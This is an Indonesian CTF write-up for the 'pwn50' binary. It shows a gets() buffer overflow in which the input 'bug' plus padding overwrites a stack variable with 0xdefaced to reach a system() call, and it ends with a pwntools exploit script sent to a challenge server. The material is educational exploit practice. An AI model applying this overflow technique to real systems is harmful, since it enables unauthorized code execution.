Diberikan file ELF binary bernama pwn50 64-Bit yang harus dibuatkan exploit nya agar bisa mendapatkan flag.

➜  file pwn50
pwn50: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9100876ac8da789151a1afcbc3e43ddaca1305c1, not stripped

Binary ini hanya meminta user input tanpa mengirim kembali outputnya

➜  ./pwn50
saya ganteng

Dengan menggunakan nm terlihat bahwa binary tersebut menggunakan fungsi gets() yang tidak membatasi user input sehingga dapat menyebabkan Buffer Overflow.

➜  nm -D pwn50
                 U geteuid
                 U gets
                 w __gmon_start__
                 U __libc_start_main
                 U puts
                 U setreuid
                 U system

Berikut hasil disassembly menggunakan gdb peda

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400646 <+0>:	push   rbp
   0x0000000000400647 <+1>:	mov    rbp,rsp
   0x000000000040064a <+4>:	push   rbx
   0x000000000040064b <+5>:	sub    rsp,0x38
   0x000000000040064f <+9>:	mov    DWORD PTR [rbp-0x34],edi
   0x0000000000400652 <+12>:	mov    QWORD PTR [rbp-0x40],rsi
   0x0000000000400656 <+16>:	mov    QWORD PTR [rbp-0x18],0x0
   0x000000000040065e <+24>:	lea    rax,[rbp-0x30]
   0x0000000000400662 <+28>:	mov    rdi,rax
   0x0000000000400665 <+31>:	mov    eax,0x0
   0x000000000040066a <+36>:	call   0x400520 <gets@plt>
   0x000000000040066f <+41>:	movzx  eax,BYTE PTR [rbp-0x30]
   0x0000000000400673 <+45>:	cmp    al,0x62
   0x0000000000400675 <+47>:	jne    0x4006ce <main+136>
   0x0000000000400677 <+49>:	movzx  eax,BYTE PTR [rbp-0x2f]
   0x000000000040067b <+53>:	cmp    al,0x75
   0x000000000040067d <+55>:	jne    0x4006ce <main+136>
   0x000000000040067f <+57>:	movzx  eax,BYTE PTR [rbp-0x2e]
   0x0000000000400683 <+61>:	cmp    al,0x67
   0x0000000000400685 <+63>:	jne    0x4006ce <main+136>
   0x0000000000400687 <+65>:	cmp    QWORD PTR [rbp-0x18],0xdefaced
   0x000000000040068f <+73>:	jne    0x4006ce <main+136>
   0x0000000000400691 <+75>:	mov    edi,0x400764
   0x0000000000400696 <+80>:	call   0x4004e0 <puts@plt>
   0x000000000040069b <+85>:	mov    eax,0x0
   0x00000000004006a0 <+90>:	call   0x400500 <geteuid@plt>
   0x00000000004006a5 <+95>:	mov    ebx,eax
   0x00000000004006a7 <+97>:	mov    eax,0x0
   0x00000000004006ac <+102>:	call   0x400500 <geteuid@plt>
   0x00000000004006b1 <+107>:	mov    esi,ebx
   0x00000000004006b3 <+109>:	mov    edi,eax
   0x00000000004006b5 <+111>:	mov    eax,0x0
   0x00000000004006ba <+116>:	call   0x400530 <setreuid@plt>
   0x00000000004006bf <+121>:	mov    edi,0x400773
   0x00000000004006c4 <+126>:	mov    eax,0x0
   0x00000000004006c9 <+131>:	call   0x4004f0 <system@plt>
   0x00000000004006ce <+136>:	mov    eax,0x0
   0x00000000004006d3 <+141>:	add    rsp,0x38
   0x00000000004006d7 <+145>:	pop    rbx
   0x00000000004006d8 <+146>:	pop    rbp
   0x00000000004006d9 <+147>:	ret    
End of assembler dump.

Terdapat local variable yang terletak di rbp-0x18 diinisialisasi dengan nilai 0x00

 0x0000000000400656 <+16>:	mov    QWORD PTR [rbp-0x18],0x0

User input akan disimpan di rbp-0x30

   0x000000000040065e <+24>:	lea    rax,[rbp-0x30]
   0x0000000000400662 <+28>:	mov    rdi,rax
   0x0000000000400665 <+31>:	mov    eax,0x0
   0x000000000040066a <+36>:	call   0x400520 <gets@plt>

Selain itu terdapat perbandingan (cmp) yang dimana membandingkan 3 karakter pertama dari user input al dengan 0x62,0x75,dan 0x67. Apabila 0x62,0x75,dan 0x67 di convert ke ascii menghasilkan bug Berikut nya terdapat perbandingan antara local variable di rbp-0x18 dengan 0xdefaced atau 233811181 dalam desimal.

   0x0000000000400673 <+45>:	cmp    al,0x62
   0x0000000000400675 <+47>:	jne    0x4006ce <main+136>
   0x0000000000400677 <+49>:	movzx  eax,BYTE PTR [rbp-0x2f]
   0x000000000040067b <+53>:	cmp    al,0x75
   0x000000000040067d <+55>:	jne    0x4006ce <main+136>
   0x000000000040067f <+57>:	movzx  eax,BYTE PTR [rbp-0x2e]
   0x0000000000400683 <+61>:	cmp    al,0x67
   0x0000000000400685 <+63>:	jne    0x4006ce <main+136>
   0x0000000000400687 <+65>:	cmp    QWORD PTR [rbp-0x18],0xdefaced

Semua perbandingan diatas harus bernilai benar agar bisa mendapatkan flag, apabila tidak akan arahkan ke 0x00000000004006ce atau program akan exit(0).

 0x00000000004006ce <+136>:	mov    eax,0x0

Tujuan kita adalah mengganti nilai 0x0 pada local variable yang terletak di rbp-0x18 dengan nilai 0xdefaced agar bisa mendapatkan flag.

Cara merubah nilai local variable tersebut sangat mudah, kita bisa menggunakan gdb.

gdb-peda$ b *main
Breakpoint 1 at 0x400646
gdb-peda$ r
gdb-peda$ x/x $rbp-0x30
0x4006b0 <main+106>:	0x0000b8c789de89ff
gdb-peda$ x/x $rbp-0x18
0x4006c8 <main+130>:	0x00b8fffffe22e800

Sehingga didapatkan alamat dari $rbp-0x30 adalah 0x4006b0 dan $rbp-0x18 adalah 0x4006c8

>>> 0x4006b0-0x4006c8
-24

Dari hasil pengurangan tersebut, dibutuhkan 24 bytes untuk melakukan overwrite terdhap nilai local variable $rbp-0x18

Penyusanan payloadnya seperti berikut.

bug + (A * 21) + 0xdefaced

Disini saya menggunakan pwntools untuk membuat exploitnya

from pwn import *
r = remote("54.67.102.66",5251)
payload = "bug"
payload += "A"*21
correct_value = p32(0xdefaced)
payload_to_send = payload+correct_value
r.sendline(payload_to_send)
r.sendline("cat /home/pwn50/flag")
log.info("Your Flag:%s"% r.recvline_contains("Bugs_Bunny"))

Setelah script exploit dijalankan akan mendaptkan flag.